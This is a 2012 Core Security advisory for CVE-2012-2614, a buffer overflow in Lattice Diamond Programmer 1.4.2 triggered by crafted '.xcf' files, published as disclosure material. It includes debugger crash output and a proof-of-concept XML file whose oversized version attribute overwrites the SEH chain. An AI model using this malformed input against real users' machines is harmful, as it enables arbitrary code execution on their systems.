CORE-2012-0530 - Lattice Diamond Programmer Buffer Overflow

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Lattice Diamond Programmer Buffer Overflow

1. Advisory Information

Title: Lattice Diamond Programmer Buffer Overflow
Advisory ID: CORE-2012-0530
Advisory URL:
http://www.coresecurity.com/content/lattice-diamond-programmer-buffer-overflow
Date published: 2012-06-21
Date of last update: 2012-06-21
Vendors contacted: Lattice Semiconductor Corporation
Release mode: User release

2. Vulnerability Information

Class: Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2012-2614

3. Vulnerability Description

Lattice Diamond Programmer [1] is vulnerable to client-side attacks,
which can be exploited by remote attackers to run arbitrary code by
sending specially crafted '.xcf' files.

4. Vulnerable packages

   . Diamond Programmer 1.4.2 for Windows.
   . Older versions are probably affected too, but they were not checked.

5. Non-vulnerable packages

   . Vendor did not provide this information.

6. Vendor Information, Solutions and Workarounds

The vendor did not reply any contact email sent by Core Security
Advisories Team. Contact Lattice for further information about this
issue [2]. Given that this is a client-side vulnerability, affected
users should not open untrusted '.xcf' files using 'programmer.exe' nor
'deployment.exe'.

7. Credits

This vulnerability was discovered and researched by Daniel Kazimirow and
Ricardo Narvaja from Core Security Exploit Team.

8. Technical Description / Proof of Concept Code

This vulnerability can be exploited by opening a specially crafted
'.xcf' file from 'programmer.exe'. The module 'deployment.exe' may also
be vulnerable, but this possiblity was not researched any further.

The XML file showed at [Sec. 8.1] crashes 'programmer.exe' at the address:

/-----
00FB5E20 8A0402 MOV AL,BYTE PTR DS:[EDX+EAX]
00FB5E23 C2 0400 RETN 4
-----/

and overwrites the SEH chain (there is no SEH protection) with
'41414141', which is proof that the buffer was overflown. This means
that there is a buffer overflow vulnerability, and 'EIP' can be set to
an arbitrary value, allowing an attacker to take control of the machine.

8.1. Proof of Concept

/-----
<?xml version='1.0' encoding='utf-8' ?>
<!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >
<ispXCF
version="8.9.09.09999999999AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
<Comment></Comment>
<Chain>
<Comm>JTAG</Comm>
<Device>
<Pos>1</Pos>
<Vendor>Lattice</Vendor>
<Family>ispLSI 5000VE</Family>
<Name>5256VE</Name>
<IDCode>0x00368043</IDCode>
<Package>128-pin TQFP</Package>
<PON>ispLSI5256VE-XXLT128</PON>
<Bypass>
<InstrLen>5</InstrLen>
<InstrVal>11111</InstrVal>
<BScanLen>1</BScanLen>
<BScanVal>0</BScanVal>
</Bypass>
<File>C:\ispTOOLS\ispvmsystem\TutorialU6vea.jed</File>
<FileTime>05/17/02 18:15:33</FileTime>
<JedecChecksum>0xF9BD</JedecChecksum>
<Operation>Erase,Program,Verify</Operation>
<Option>
<SVFVendor>JTAG STANDARD</SVFVendor>
<IOState>HighZ</IOState>

<IOVectorData>0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</IOVectorData>
<Reinitialize value="TRUE"/>
<OverideUES value="TRUE"/>
<TCKFrequency>1.000000 MHz</TCKFrequency>
<SVFProcessor>ispVM</SVFProcessor>
<Usercode>0x0000F9BD</Usercode>
</Option>
</Device>
</Chain>
<ProjectOptions>
<Program>SEQUENTIAL</Program>
<Process>ENTIRED CHAIN</Process>
<OperationOverride>No Override</OperationOverride>
<StartTAP>TLR</StartTAP>
<EndTAP>TLR</EndTAP>
<DeGlitch value="TRUE"/>
<VerifyUsercode value="TRUE"/>
<PinSetting>
TMS LOW;
TCK LOW;
TDI LOW;
TDO LOW;
TRST ABSENT;
CableEN HIGH;
</PinSetting>
</ProjectOptions>
</ispXCF>
-----/

9. Report Timeline

. 2012-05-30:
Core Security Technologies notifies Lattice Semiconductor Corporation of
the vulnerability. Publication date is set for June 26th, 2012.

. 2012-06-06:
Core notifies Lattice Semiconductor Corporation of the vulnerability.

. 2012-06-11:
Core notifies that the previous emails were not answered and requests
for a reply.

. 2012-06-11:
Vendor asks Core to remove their email addresses from Core's mailing lists.

. 2012-06-11:
Core requests an email address or any other security contact information
at Lattice in order to begin discussions in regards to the
vulnerability. No reply was received.

. 2012-06-21:
Advisory CORE-2012-0530 published.

10. References

[1] http://www.latticesemi.com/products/designsoftware/diamond/index.cfm.
[2] Lattice technical support, mailto:[email protected].

11. About CoreLabs

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13. Disclaimer

The contents of this advisory are copyright (c) 2011 Core Security
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.